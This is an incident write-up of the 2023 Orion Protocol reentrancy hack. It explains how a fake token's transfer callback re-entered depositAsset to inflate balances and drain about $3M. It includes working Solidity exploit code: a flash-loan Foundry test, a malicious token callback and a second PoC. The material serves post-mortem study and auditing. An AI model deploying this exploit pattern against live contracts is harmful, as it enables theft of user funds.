# Orion Protocol: reentrancy in swapThroughOrionPool drains ~$3M

Reentrancy via attacker-controlled token callback in Orion's swapThroughOrionPool corrupted internal balance accounting, letting attacker withdraw ~$3M of pool funds.

- Payout: Real-world hack
- Severity: critical
- Program: - Orion Protocol
- Analysis by: DeFiHackLabs
- Disclosed: 2023-02-03
- Write-up quality: 8/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2023-02/Orion_exp.sol
- Library page: https://bugbountylibrary.com/r/dhl%3A20230203-orion
- Tags: area:web3 domain:web3 impact:funds-loss kind:incident platform:defihacklabs sev:critical tech:evm tech:solidity vuln:accounting-error vuln:reentrancy

**Target:** ExchangeWithAtomic swap/deposit/withdraw contract on Ethereum and BSC
**Root cause:** In _doSwapTokens, curBalance is updated after the token transfer; a malicious token's transfer callback re-enters depositAsset, corrupting the internal balance so withdraw pays out more than deposited.
**Steps:**
1. Deploy fake ERC20 token whose transfer() calls back into Orion.depositAsset when attacker USDT balance exceeds threshold.
2. Create Orion pairs fakeToken/USDC and fakeToken/USDT, seed liquidity, mint LP.
3. Approve USDT/USDC to Orion and call `depositAsset(USDC, 500000)`.
4. Flash-borrow USDT from UniswapV2 pair via `swap(0, flashAmount, this, data)`.
5. In uniswapV2Call, call `swapThroughOrionPool(10000, 0, [USDC, fakeToken, USDT], true)`; fakeToken.transfer callback re-enters `depositAsset(USDT, ...)` inflating recorded balance.
6. Call `withdraw(USDT, USDT.balanceOf(Orion) - 1)` to drain pool, repay flash loan, swap USDT to WETH.
**How found:** Analysis of the doSwapThroughOrionPool/_doSwapTokens flow showed curBalance updated after transfer, implying a token callback could re-enter deposit accounting before the balance was reconciled.
**Exploitation:** Attacker flash-borrowed USDT from a UniswapV2 pair, routed a swap through Orion using a self-created token whose transfer callback re-entered depositAsset to inflate the recorded balance, then withdrew nearly the entire USDT balance held by Orion, repaid the flash loan, and converted proceeds to ETH (~1651 ETH, ~$3M across ETH and BSC).
**Escalation:** Repeated on both Ethereum and BSC deployments for combined ~$3M loss.
**Insight:** When a DEX/aggregator updates internal balances after an external token transfer, any user-supplied token in the swap path can re-enter deposit/withdraw; check ordering of state updates vs. token callbacks in swap routers that accept arbitrary path tokens.

## Proof of concept (copied exactly from the original report)

**Foundry exploit test with flash loan and reentrant swap**

```
function testExploit() public {
        deal(address(USDT), address(this), 1e6); // set the USDT balance of exploiter is 1
        deal(address(USDC), address(this), 1e6); // set the USDC balance of exploiter is 1
        ATK = new ATKToken(address(this));
        addLiquidity();

        address(USDT).call(abi.encodeWithSignature("approve(address,uint256)", address(Orion), type(uint256).max));
        USDC.approve(address(Orion), type(uint256).max);
        Orion.depositAsset(address(USDC), 500_000);

        flashAmount = USDT.balanceOf(address(Orion));
        Pair.swap(0, flashAmount, address(this), new bytes(1));
        USDTToWETH();

        emit log_named_decimal_uint(
            "Attacker WETH balance after exploit", WETH.balanceOf(address(this)), WETH.decimals()
        );
    }

    function uniswapV2Call(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {
        address[] memory path = new address[](3);
        path[0] = address(USDC);
        path[1] = address(ATK);
        path[2] = address(USDT);
        Orion.swapThroughOrionPool(10_000, 0, path, true);
        Orion.withdraw(address(USDT), uint112(USDT.balanceOf(address(Orion)) - 1));
        address(USDT).call(
            abi.encodeWithSignature("transfer(address,uint256)", address(Pair), flashAmount * 1000 / 997 + 1000)
        );
    }
```

**Malicious token transfer callback calling deposit**

```
function transfer(address recipient, uint256 amount) external returns (bool) {
        balanceOf[msg.sender] -= amount;
        balanceOf[recipient] += amount;
        if (USDT.balanceOf(exp) > 1e6) {
            exp.call(abi.encodeWithSignature("deposit()"));
        }
```

**Numen PoC swap, withdraw and deposit callback**

```
function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external{ 

 exchangewithatomic.swapThroughOrionPool(10000,0,tokens,true); 

 //uint r1= 

 exchangewithatomic.getBalance(address(usdt),address(this)); 

 uint256 r2=usdt.balanceOf(address(exchangewithatomic)); 

 exchangewithatomic.withdraw(address(usdt),5689532852749); 

 usdt.transfer(address(uni),2853326405542); 

 } 

 function deposit() public{ 

 uint r3=usdt.balanceOf(address(this)); 

 exchangewithatomic.depositAsset(address(usdt),uint112(r3)); 

 }
```

